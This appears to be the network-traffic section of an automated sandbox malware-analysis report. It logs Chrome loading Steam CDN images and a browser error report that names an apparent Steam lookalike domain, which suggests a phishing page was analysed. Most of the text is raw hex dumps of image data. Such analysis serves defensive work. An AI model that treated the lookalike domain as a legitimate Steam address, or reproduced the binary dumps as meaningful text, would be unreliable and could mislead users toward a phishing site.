PNGIHDR\:;)pHYsiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.6	49882	95.101.54.105	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:08 UTC	590	OUT	GET /public/images/footerLogo_valve_new.png HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:47:09 UTC	267	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/png Content-Length: 2584 Last-Modified: Fri, 21 Feb 2020 17:48:31 GMT ETag: "5e5017ef-a18" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Mon, 07 Oct 2024 06:47:09 GMT Connection: close
2024-10-07 06:47:09 UTC	2584	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 b0 00 00 00 32 08 06 00 00 00 fc cf 51 8d 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 22 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 33 2d 63 30 31 31 20 36 36 2e 31 34 35 36 36 31 2c 20 32 30 31 32 2f 30 32 2f 30 36 2d 31 34 3a 35 36 3a 32 37 20 20 Data Ascii: PNGIHDR2QtEXtSoftwareAdobe ImageReadyqe<"iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.6	49884	2.16.164.32	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:08 UTC	443	OUT	GET /steam/clusters/about_i18n_assets/about_i18n_assets_0/wallet_card_img_english.png?t=1636143670 HTTP/1.1 Host: cdn.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:47:09 UTC	247	IN	HTTP/1.1 200 OK Server: nginx/1.10.3 (Ubuntu) Content-Type: image/png Content-Length: 503402 Last-Modified: Wed, 24 Sep 2014 18:08:02 GMT ETag: "54230882-7ae6a" Accept-Ranges: bytes Date: Mon, 07 Oct 2024 06:47:09 GMT Connection: close
2024-10-07 06:47:09 UTC	16137	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 96 00 00 02 cf 08 06 00 00 00 41 91 e6 34 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 22 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 33 2d 63 30 31 31 20 36 36 2e 31 34 35 36 36 31 2c 20 32 30 31 32 2f 30 32 2f 30 36 2d 31 34 3a 35 36 3a 32 37 20 20 Data Ascii: PNGIHDRA4tEXtSoftwareAdobe ImageReadyqe<"iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27
2024-10-07 06:47:09 UTC	16384	IN	Data Raw: b4 d5 a7 61 f7 81 b7 30 34 36 ca ad f1 49 02 87 85 4d 41 24 54 3b 1e 78 e4 31 54 11 28 bb a3 f3 e0 a8 9d 87 38 29 e9 57 f6 be 89 aa e6 36 04 e8 1c b3 de 08 3a 96 d6 41 a1 eb 5d 20 eb db eb f5 21 e4 f5 a2 ca 99 c3 20 b1 9b 94 90 c2 09 ad 76 a4 46 1d 98 9a 24 05 4d 0f 60 17 dd 6b d2 c7 78 a9 3f 89 51 78 91 a7 ed 67 27 26 30 34 34 85 70 24 88 1a 7f 1e d3 d3 02 06 87 13 d8 ff d6 18 46 c7 32 58 7f f5 7c 54 b7 06 10 9b c8 20 97 29 72 25 af f2 58 9d 05 1e bb 1f 07 87 77 e3 9e 97 be 89 b3 17 5d 8e f9 f5 cb 88 05 d8 d0 3f d9 8b 78 76 0a 07 06 76 e3 2f 7b 1e c5 44 7c 0c d5 de 3a ce 24 54 a5 dc f5 57 41 b9 2d bf e6 9d 52 78 b0 bc 50 d4 dc 57 4a 51 2e 35 c8 14 f4 fd b2 d4 61 e6 c2 ca 13 48 84 3c 61 5a 22 74 5d 36 63 51 f3 12 1e 50 67 20 71 d6 8a 73 51 1b ac 25 e6 34 Data Ascii: a046IMA$T;x1T(8)W6:A] ! vF$M`kx?Qxg'&044p$F2X\|T )r%Xw]?xvv/{D\|:$TWA-RxPWJQ.5aH<aZ"t]6cQPg qsQ%4
2024-10-07 06:47:09 UTC	2601	IN	Data Raw: 4c 61 98 15 1a b0 30 58 b1 5c e0 b2 26 66 8b 85 bf d5 1b e4 14 e0 b0 5b 21 55 64 72 76 05 ae 57 55 1d 91 fc 56 fa 22 b6 21 10 d3 24 db c6 14 b3 54 03 79 f0 d6 72 a9 e4 cf 65 b3 1d d9 5c a6 27 9b c9 ac ca e5 b2 6b 0a f9 ec ea 58 2c de 71 ce 55 ef c6 d5 d7 5c 8e f9 a2 03 7b f7 1f c2 fd f7 fc 10 46 32 bc 96 8a 13 f9 6c 0e e1 58 04 91 b9 19 c4 66 46 a1 92 93 c5 b4 23 18 eb 7b f5 c5 67 71 df 7d f7 e2 f6 ff f7 45 5c 73 ed d5 3c 64 7c ca e6 13 e1 0b 06 61 22 46 3b 30 70 00 dd dd 3d 04 2a 6b f0 ea 8e 1d 04 0c 66 ac 5f 7f 22 96 2f eb c1 d0 d1 a3 b8 e2 5d ef c6 4f 7f fc 63 7c ff 47 3f a1 b5 db c3 15 b3 35 8d 1b bd dc 9a cd 55 21 76 61 64 95 7f 25 72 10 b2 31 c4 92 b3 c8 1b fc b8 eb db 49 5c fd fe 3f c6 9a 0b 2f c7 c2 cf ee d0 b4 d1 e8 7e b3 ea 30 4d 68 d2 a0 29 1e Data Ascii: La0X\&f[!UdrvWUV"!$Tyre\'kX,qU\{F2lXfF#{gq}E\s<d\|a"F;0p=*kf_"/]Oc\|G?5U!vad%r1I\?/~0Mh)
2024-10-07 06:47:09 UTC	16384	IN	Data Raw: 6a 68 3c 87 12 19 4a a7 d5 02 8b c8 ca 66 ed b0 db 4a 38 38 2c c3 40 9b 2c 95 8b c0 6b eb c6 86 36 3b 9e 3e 38 03 99 56 96 95 36 94 54 34 a0 c9 ef 45 78 6a 12 37 fd f1 d5 d8 f7 ca 6e cc ce cc e3 1d 6f 5f 8b ac 5c 84 cf ed 46 4f 77 2b f2 e9 32 a6 c7 67 08 e4 cc 18 19 5b a0 c7 14 24 a6 c7 31 53 64 1a fa 59 78 2d 2a 66 8f 8e c2 2f 56 78 49 ef ec 9e a7 91 9e 9d c3 e2 d4 22 1c 82 8c 7d fb 67 10 cf d9 f0 f8 6b 49 9c 7a f2 49 48 db 2d b0 76 ab f0 bb dc 4c 8e 9e ae 21 ab f0 21 6f 7b 6a 02 33 b3 f4 7b d9 0a 13 fd 3d 97 25 06 56 aa 68 c0 a2 37 7e 49 06 13 df 5c 66 8b 89 e7 4d 58 65 6c 21 2f 73 40 61 40 23 89 7a af 02 9f 22 68 e0 a1 12 a6 72 cb 3a b0 25 de 13 53 e1 fd 2a e5 4a 11 e9 54 f4 3c 8f af b9 b3 52 2e 4d b2 26 4a 76 5f ff f3 eb 06 3c 71 ae 92 eb 2c d1 2f 92 Data Ascii: jh<JfJ88,@,k6;>8V6T4Exj7no_\FOw+2g[$1SdYx-f/VxI"}gkIzIH-vL!!o{j3{=%Vh7~I\fMXel!/s@a@#z"hr:%SJT<R.M&Jv_<q,/
2024-10-07 06:47:09 UTC	16384	IN	Data Raw: ea bc 55 5b 04 6d 7f 02 31 ba 9f 0a ab 6b 46 23 3a 85 bf 42 9b ae 52 d4 aa 8b 62 03 a1 77 06 b2 52 68 41 9d 66 f0 0b 08 45 8f 42 e4 02 aa d0 bf 4f 4e 82 58 47 0f a2 e8 3f 5f 43 24 aa 4f 2a a4 bf 14 59 29 a4 d9 94 69 9f 99 4f e1 22 ef fd 24 45 c9 23 93 5c eb ab 3c 2d 35 97 9b 12 57 b4 02 7a 5e 93 84 1b 13 0c 39 65 d0 dc e7 48 f9 94 a8 b8 7a 59 59 ab 41 e6 1a 9e a4 22 e1 2b 71 bc 72 96 d6 ba 11 67 35 d7 8b ef 23 14 54 70 9a 75 79 43 25 ca 4b ec 58 dd de 82 83 c3 7d 38 3a 32 89 15 ad 6d 98 51 5f 25 54 50 e7 77 36 62 26 21 c6 f8 e0 18 0e 12 02 e7 86 02 e6 d2 63 bd a4 21 99 02 1d 56 e3 a4 7d 95 60 81 b0 92 08 32 eb d7 23 f6 2f b7 c1 7c fb 57 91 dd ba 09 72 ef 31 98 3e 72 0b e4 a3 7d 90 f7 1d 84 61 d9 12 c8 87 8e 12 94 a5 00 29 26 c3 51 56 02 e5 8d b5 90 f7 ee Data Ascii: U[m1kF#:BRbwRhAfEBONXG?_C$O*Y)iO"$E#\<-5Wz^9eHzYYA"+qrg5#TpuyC%KX}8:2mQ_%TPw6b&!c!V}`2#/\|Wr1>r}a)&QV
2024-10-07 06:47:09 UTC	7952	IN	Data Raw: c6 d7 7f f5 3c d6 ec 1a c5 82 e9 21 61 33 7c be 54 a3 07 46 35 64 de b9 8f e3 a0 80 85 22 86 8c b7 59 17 f6 e2 9a 8f 9f 85 eb 6e 5b 2f b3 5e 3a 4e 9e 86 4f ff cb 0a c1 8e 34 5d ff 1a 62 42 5c 60 70 f7 e3 bb e1 76 2a 30 fd 71 15 e6 68 65 9b 7e 7c aa 31 95 45 00 a6 74 da f4 ea 35 3a 90 35 6b d7 21 16 8b cb eb 36 9b a5 f7 51 9d 10 7e 34 d6 17 7b ef cc 18 79 e6 bd 4d a1 0b 2e 7d 46 0e 7a c5 85 87 36 ef c3 03 1b 77 22 95 cb 03 bf bd fd d8 0c 92 c3 4f 46 bd 9a b6 95 43 3a 3d 74 d8 04 3a b3 be a2 a9 82 cc a5 02 46 d3 aa b9 d3 b1 78 0c 77 dc 79 17 b6 6f df 51 02 5b 06 96 1a 02 87 ea aa 1a da 65 87 a8 50 33 b3 f0 78 f4 07 cf 8b 61 e6 67 b3 d9 4b 77 25 57 ca 8d 47 22 48 24 e2 88 8c 8f c9 bf 33 99 14 36 6d ca d3 6b 8a 24 f2 81 74 c5 fe 45 e3 e3 e0 d3 f4 d4 d3 4f e9 Data Ascii: <!a3\|TF5d"Yn[/^:NO4]bB\`pv*0qhe~\|1Et5:5k!6Q~4{yM.}Fz6w"OFC:=t:FxwyoQ[eP3xagKw%WG"H$36mk$tEO
2024-10-07 06:47:09 UTC	16384	IN	Data Raw: c7 f7 1d 87 ab b9 f2 8c c7 1e fb 02 35 38 91 7f 1c 50 8b 53 03 8f a3 cc 3d 99 7a b8 6a 62 9e 43 9b 52 21 c0 cb 06 1c 47 89 b5 71 05 c9 8a 85 33 b0 e1 e9 47 09 0c da 89 7e 6f c3 be fd 07 30 d4 37 8c aa fa 3a 61 18 ac bc ca 15 56 33 ea 5a 70 60 ff 0e 24 e3 7a b5 8c 9f e7 35 84 c3 88 a5 92 64 fc f5 a6 2c d6 42 92 92 58 0e 27 b0 62 ab 8c 7d d5 43 1d 0e 73 34 2c 5d 23 96 f3 e6 f0 9a 84 37 58 1f 8c c7 d2 d2 82 36 c3 26 36 69 e6 72 ca 77 15 0b 9a c8 8a 17 b2 79 29 15 75 38 3d 32 d3 22 57 cc 18 12 1d aa 25 39 5c 14 29 14 0e cf d4 d7 10 0b f3 39 90 22 b6 c1 92 2d 3c db c5 e7 a2 ef 14 c3 a3 21 1c 08 a2 2a 10 14 31 45 66 2b dc c5 2c 63 6c 69 ff 82 e1 2a 02 93 10 ba ba fa 89 9d a5 10 f4 79 44 ab 89 c7 f1 46 c6 46 31 76 70 b7 dc 5c c9 02 0b 29 26 60 f7 d5 c2 df 7e 96 Data Ascii: 58PS=zjbCR!Gq3G~o07:aV3Zp`$z5d,BX'b}Cs4,]#7X6&6irwy)u8=2"W%9\)9"-<!1Ef+,cliyDFF1vp\)&`~
2024-10-07 06:47:09 UTC	16384	IN	Data Raw: 1d 8b bf 5a ea a1 a3 85 1e 47 cb b4 b9 1c 0c e3 29 a9 a9 f0 b5 b7 56 13 b5 17 70 c1 92 a3 0a 61 85 0f 99 3e 66 34 68 e1 66 f2 11 6f af 41 bf d7 4f 80 eb e0 40 cc c2 45 1a b5 8a 8b fa e5 de ce 4a 88 8d 56 33 d7 82 7a f1 c1 67 f1 a2 48 46 4e 60 f2 f0 29 fc eb a1 bf e3 c2 73 4e 46 55 b9 87 56 8e 81 6f 50 26 65 0e 45 aa 4a 2c 12 9b 54 78 fd b9 c2 89 9c ff 2c bf 61 de ec c9 b8 e7 df 4f a0 ae ae 9c c8 93 99 3f 2c c4 5e 7e 75 eb 5d f8 fb 5f 1f 80 a9 d2 0d 0f 6d fa d3 8e 3f 9c bf fe f9 57 de 46 fb fa f7 a0 75 4e e1 4d 6e 19 4b 0d 56 ac 5c 8b bd c4 4c d5 1a 2d 1a 1a aa 60 e4 39 28 96 d8 b5 e1 ad 35 1b 71 ca d7 ae c1 c0 80 0f 83 e1 10 ec d5 65 52 28 50 ae de 32 db ad d8 be ab 13 eb d7 6f 93 62 fc 04 ba 12 a3 53 54 ed 1c 8c 41 67 b2 df 22 8d eb 65 d7 4c c7 85 0d b5 Data Ascii: ZG)Vpa>f4hfoAO@EJV3zgHFN`)sNFUVoP&eEJ,Tx,aO?,^~u]_m?WFuNMnKV\L-`9(5qeR(P2obSTAg"eL
2024-10-07 06:47:09 UTC	7952	IN	Data Raw: 42 46 9b 98 00 0b 09 4b 64 a0 2d aa 08 c9 2c 63 44 5d 31 3a da 3a 61 48 59 21 59 54 84 08 91 b2 a1 3c 1a 1b 5b 30 be 3e 8e 58 32 81 68 38 89 12 d9 07 9b 32 02 01 c5 84 68 2c 44 cc c1 83 ae f6 1c 3a bb d2 b0 1a 9a e0 f1 b9 61 71 78 b8 64 8b 40 ec 21 4f 6c 4d 51 9d c8 e5 7d 74 de 63 c8 7b 37 a2 c8 65 46 c5 28 13 2f 9d 66 8a e4 06 9e 47 55 b0 92 9e c3 00 82 95 6c b3 52 66 95 55 c3 e5 89 4d 31 61 59 51 86 a8 8b aa f1 7e 0f 16 36 64 8c 4f a6 c7 1a e9 be 70 2a 8f 71 7e 11 c5 56 15 0d 01 76 cd f2 30 d3 fb 73 e4 45 94 7a 8c 70 54 4b 58 d0 10 a6 fb 4d 3b 67 57 15 40 25 b3 b9 15 81 67 9e e6 b2 2d 3b e3 4b 1a bc d9 7e 48 60 31 74 c0 d0 be f5 ce 2d 84 a8 fa 12 ea 03 72 ea 82 3e 94 2c 9e d5 70 e3 cd 77 62 ef 17 1e c4 c3 f7 dd 8e 51 f5 f5 b8 ff a1 c7 f0 f2 13 0f b1 ec Data Ascii: BFKd-,cD]1::aHY!YT<[0>X2h82h,D:aqxd@!OlMQ}tc{7eF(/fGUlRfUM1aYQ~6dOp*q~Vv0sEzpTKXM;gW@%g-;K~H`1t-r>,pwbQ
2024-10-07 06:47:09 UTC	16288	IN	Data Raw: f5 b6 07 f1 ef 47 5f e0 67 db 4c 46 f2 a1 fb 6f 42 79 79 19 f6 db 67 0f 02 a6 6e 58 e9 bc 7f 79 d1 a9 78 fd b1 59 38 f6 b0 fd f1 c7 3f fd 93 77 f8 b2 26 b0 bf fd e3 49 dc fc 9b 0b f1 f3 9f 9e 8f f3 7e f3 1b 44 13 69 9c fa e3 33 70 df 23 8f a0 7e 54 3d 4f 8c 8a f4 d8 f9 ef 2f c0 5f ee 7b 12 8b e6 fe 07 0f fc e7 65 dc 7a e7 23 50 89 cd b0 eb c4 80 b2 b4 62 2c a6 4d 9d c8 07 91 4d 3b fe 30 fc fd d6 ab 50 5e b7 3f d6 af 99 8f ca 22 5d 7d 99 cd cb 20 1f 0e 6e a7 1d 7e 9f 1b 1d a1 18 ca 8a 7c 10 7a 9a f1 8f 47 9f c5 bd 7f b8 0a 2d 04 56 cf bc 3a 17 6f bf fa 36 9c 45 64 c4 b4 3c ce bf e0 3a 5c 41 40 69 77 ba f0 e7 73 6e 40 de e1 c5 c9 e7 5d 8b 75 8d cd 70 54 d5 e2 f4 73 ae 42 67 28 00 9b db ca c1 7a fd a6 cd b8 e9 e6 bb 20 b1 a1 53 ac fc 94 40 9a 85 5c 96 7c f8 Data Ascii: G_gLFoByygnXyxY8?w&I~Di3p#~T=O/_{ez#Pb,MM;0P^?"]} n~\|zG-V:o6Ed<:\A@iwsn@]upTsBg(z S@\\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.6	49883	95.101.54.105	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:08 UTC	586	OUT	GET /public/images/ico/ico_facebook.gif HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:47:09 UTC	267	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/gif Content-Length: 1278 Last-Modified: Tue, 14 Nov 2023 23:31:27 GMT ETag: "6554034f-4fe" Access-Control-Allow-Origin: * Accept-Ranges: bytes Date: Mon, 07 Oct 2024 06:47:09 GMT Connection: close X-N: S
2024-10-07 06:47:09 UTC	1278	IN	Data Raw: 47 49 46 38 39 61 10 00 10 00 c4 00 00 55 56 5c c9 ca cc c8 c9 cb ae af b2 52 54 5a ee ef ef fc fc fc 54 56 5c 50 52 58 e2 e3 e4 d9 d9 db 87 89 8d 38 3a 41 5c 5d 63 e8 e8 e9 f2 f2 f3 93 94 98 d7 d7 d8 fa fa fa a3 a4 a7 be bf c1 e1 e1 e2 96 97 9b d4 d5 d6 9d 9e a1 ec ec ed f3 f3 f4 94 95 99 42 44 4b 41 43 49 ff ff ff 35 37 3e 21 ff 0b 58 4d 50 20 44 61 74 61 58 4d 50 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 39 2e 31 2d 63 30 30 31 20 37 39 2e 61 38 64 34 37 35 Data Ascii: GIF89aUV\RTZTV\PRX8:A\]cBDKACI57>!XMP DataXMP<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.a8d475

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.6	49887	35.190.80.1	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:08 UTC	498	OUT	POST /report/v4?s=G5uZ5CgfKPBc2Cm0BMNpgmy0aSe3iZ%2B3BvTmp%2BaMzcg4gRu%2BdU2R0%2FKrwtcd53q4lWRYq%2B0LBvKwj%2FJOxziOB%2BkgEpoRuQLB8duffbka4i5FpwAH4p%2Ff1i4rgnbcNRT2LhPLtAQO8Q%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 483 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:47:08 UTC	483	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 31 32 38 31 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 39 31 2e 31 36 39 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 73 6e 65 61 6d 63 6f 6d 6e 6e 75 6d 6e 6c 74 Data Ascii: [{"age":0,"body":{"elapsed_time":1281,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"104.21.91.169","status_code":404,"type":"http.error"},"type":"network-error","url":"https://sneamcomnnumnlt
2024-10-07 06:47:09 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Mon, 07 Oct 2024 06:47:08 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.6	49885	95.101.54.105	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:08 UTC	585	OUT	GET /public/images/ico/ico_twitter.gif HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:47:09 UTC	267	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/gif Content-Length: 1429 Last-Modified: Tue, 14 Nov 2023 23:31:27 GMT ETag: "6554034f-595" Access-Control-Allow-Origin: * Accept-Ranges: bytes Date: Mon, 07 Oct 2024 06:47:09 GMT Connection: close X-N: S
2024-10-07 06:47:09 UTC	1429	IN	Data Raw: 47 49 46 38 39 61 10 00 10 00 d5 00 00 d7 d7 d8 e1 e1 e2 55 56 5c db db dc 8b 8c 90 c8 c9 cb 68 69 6e b1 b2 b5 52 54 5a 52 53 59 a3 a4 a7 a4 a5 a8 be bf c1 65 67 6c 85 86 8a 46 47 4e c9 ca cc 8e 8f 93 3b 3c 43 e4 e4 e5 cb cb cd 5c 5d 63 72 73 78 54 56 5c 3b 3d 44 3f 41 48 36 38 3f 3f 40 47 d3 d4 d5 98 99 9d 69 6b 70 59 5b 61 f8 f8 f8 de de df 91 92 96 e5 e5 e6 8c 8d 91 38 3a 41 83 84 88 c1 c2 c4 42 44 4a ad ae b1 a2 a3 a6 61 62 68 e6 e6 e7 59 5a 60 81 82 87 73 74 79 ba bb bd 4c 4e 54 4d 4f 55 d9 d9 db df df e0 3e 40 46 4b 4d 53 a0 a1 a4 53 55 5b 37 39 40 42 44 4b 41 43 49 35 37 3e 00 00 00 00 00 00 00 00 00 21 ff 0b 58 4d 50 20 44 61 74 61 58 4d 50 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 Data Ascii: GIF89aUV\hinRTZRSYeglFGN;<C\]crsxTV\;=D?AH68??@GikpY[a8:ABDJabhYZ`styLNTMOU>@FKMSSU[79@BDKACI57>!XMP DataXMP<?xpacket begin="" id="W5M0MpCehi

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.6	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:09 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:47:09 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:47:09 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: b67c2655-301e-0096-2300-17e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064709Z-1657d5bbd48f7nlxc7n5fnfzh000000002u0000000003cud x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:47:09 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S 